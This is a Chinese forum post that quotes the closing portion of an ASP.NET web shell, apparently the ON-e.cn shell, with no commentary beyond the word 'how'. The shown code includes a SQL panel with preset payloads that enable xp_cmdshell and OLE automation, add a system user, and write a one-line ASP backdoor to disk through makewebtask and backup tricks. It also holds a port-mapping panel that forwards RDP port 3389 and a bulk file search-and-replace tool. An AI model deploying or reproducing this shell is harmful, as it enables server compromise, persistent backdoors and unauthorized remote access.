  2518. <p>语句 : <asp:TextBox id="MasR" style="width:70%;margin:0 8px;" CssClass="input" runat="server"/><asp:DropDownList runat="server" CssClass="list" ID="WYmo" AutoPostBack="True" OnSelectedIndexChanged="zOVO" ><asp:ListItem></asp:ListItem><asp:ListItem Value="server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB">MSSQL</asp:ListItem><asp:ListItem Value="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\database.mdb">ACCESS</asp:ListItem></asp:DropDownList><asp:Button ID="QcZPA" runat="server" Text="Go" CssClass="bt" OnClick="BGY"/></p>
  2519. <div id="dQIIF" runat="server">
  2520. <div id="irTU" runat="server"></div>
  2521. <div id="uXevN" runat="server">
  2522. Please select a database : <asp:DropDownList runat="server" ID="Pvf" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list"></asp:DropDownList>
  2523. SQLExec : <asp:DropDownList runat="server" ID="FGEy" AutoPostBack="True" OnSelectedIndexChanged="zOVO" CssClass="list"><asp:ListItem Value="">-- SQL Server Exec --</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')">Add xp_cmdshell</asp:ListItem><asp:ListItem Value="Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')">Add sp_oacreate</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;">Add xp_cmdshell(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;">Add sp_oacreate(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;">Add makewebtask(SQL2005)</asp:ListItem><asp:ListItem Value="Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;">Add openrowset/opendatasource(SQL2005)</asp:ListItem><asp:ListItem Value="Exec master.dbo.xp_cmdshell 'net user'">XP_cmdshell exec</asp:ListItem><asp:ListItem Value="EXEC MASTER..XP_dirtree 'c:\',1,1">XP_dirtree</asp:ListItem><asp:ListItem Value="Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^>>c:\bin.asp';">SP_oamethod exec</asp:ListItem><asp:ListItem Value="sp_makewebtask @outputfile='c:\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>'''">SP_makewebtask make file</asp:ListItem><asp:ListItem Value="exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user root root/add ")')">SandBox</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='e:\1.asp' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];">LogBackup</asp:ListItem><asp:ListItem Value="create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values('<%execute(request(chr(35)))%>');declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='c:\bin.asp' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];">DatabaseBackup</asp:ListItem></asp:DropDownList>
  2524. </div>
  2525. <table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td> Run SQL </td></tr><tr><td><textarea id="jHIy" class="area" style="width:600px;height:60px;overflow:auto;" runat="server" rows="6" cols="1"></textarea></td></tr><tr><td>
  2526. <asp:Button runat="server" ID="WOhJ" CssClass="bt" Text="Query" onclick="ORUgV"/></td></tr></table>
  2527. <div style="overflow-x:auto;width:950px" >
  2528. <p>
  2529. <asp:DataGrid runat="server" ID="rom" HeaderStyle-CssClass="head" BorderWidth="0" GridLines="None" ></asp:DataGrid>
  2530. </p>
  2531. </div>
  2532. </div>
  2533. </div>
  2534. <%--PortMap--%>
  2535. <div id="hOWTm" runat="server">
  2536. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2537. <tr align="center">
  2538. <td style="width:5%"></td>
  2539. <td style="width:20%" align="left">本地Ip : <input class="input" runat="server" id="eEpm" type="text" size="20" value="127.0.0.1"/></td>
  2540. <td style="width:20%" align="left">本地端口 : <input class="input" runat="server" id="iXdh" type="text" size="20" value="3389"/></td>
  2541. <td style="width:20%" align="left">远程Ip : <input class="input" runat="server" id="llH" type="text" size="20" value="www.on-e.cn"/></td>
  2542. <td style="width:20%" align="left">远端口程 : <input class="input" runat="server" id="ZHS" type="text" size="20" value="80"/></td></tr>
  2543. <tr align="center"><td colspan="5"><br/><asp:Button ID="FJE" CssClass="bt" runat="server" Text="映射端口" OnClick="wDZ"/> <asp:Button ID="giX" CssClass="bt" runat="server" Text="清除所有" OnClick="vJNsE"/> <asp:Button ID="GFsm" CssClass="bt" runat="server" Text="刷新" OnClick="tYoZ"/></td></tr></table></div>
  2544. <%--Search--%>
  2545. <div id="yhv" runat="server">
  2546. <table width="100%" border="0" cellpadding="4" cellspacing="0" style="margin:10px 0;">
  2547. <tr align="center">
  2548. <td style="width:20%" align="left">关键词</td>
  2549. <td style="width:60%" align="left"><textarea id="iaMKl" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2550. <td style="width:20%" align="left"><input type="checkbox" runat="server" id="rAQ" value="1"/> 使用正则表达式</td>
  2551. </tr>
  2552. <tr align="center">
  2553. <td style="width:20%" align="left">替换</td>
  2554. <td style="width:60%" align="left"><textarea id="qPe" runat="server" class="area" style="width:100%" rows="4"></textarea></td>
  2555. <td style="width:20%" align="left"><input type="checkbox" runat="server" id="YZw"/> 替换</td>
  2556. </tr>
  2557. <tr align="center">
  2558. <td style="width:20%" align="left">搜索文件类型</td>
  2559. <td style="width:60%" align="left"><input type="text" runat="server" class="input" id="UDLvA" style="width:100%" value="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"/></td>
  2560. <td style="width:20%" align="left"><asp:DropDownList runat="server" ID="Ven" AutoPostBack="False" CssClass="list"><asp:ListItem Value="name">文件名称</asp:ListItem><asp:ListItem Value="content" Selected="True">文件内容</asp:ListItem></asp:DropDownList></td>
  2561. </tr>
  2562. <tr align="center">
  2563. <td style="width:20%" align="left">路径</td>
  2564. <td style="width:60%" align="left"><input type="text" class="input" id="NaLJ" runat="server" style="width:100%" /></td>
  2565. <td style="width:20%" align="left"><asp:Button CssClass="bt" id="axy" runat="server" onclick="NBy" Text="开始" /></td>
  2566. </tr>
  2567. </table>
  2568. <br/>
  2569. <br/>
  2570. <asp:Table ID="oJiym" runat="server" Width="100%" CellSpacing="0" >
  2571. <asp:TableRow CssClass="head"><asp:TableCell Width="60%">File Path</asp:TableCell><asp:TableCell Width="20%">Last modified</asp:TableCell><asp:TableCell Width="20%">Size</asp:TableCell></asp:TableRow>
  2572. </asp:Table>
  2573. </div>
  2574. </td></tr></table>
  2575. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#003300;">Copyright &#169; 2009-2012 <a href="http://www.on-e.cn" target="_blank">ON-e.cn</a> All Rights Reserved.</div></div>
  2576. </form>
  2577. </body>
  2578. </html>
复制代码


如何

相关帖子
回复

使用道具 举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|站长网 网站备案：鄂ICP备13006300号-4

GMT+8, 2024-5-2 09:13 , Processed in 0.049662 second(s), 20 queries .

Powered by Discuz! X3.5

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表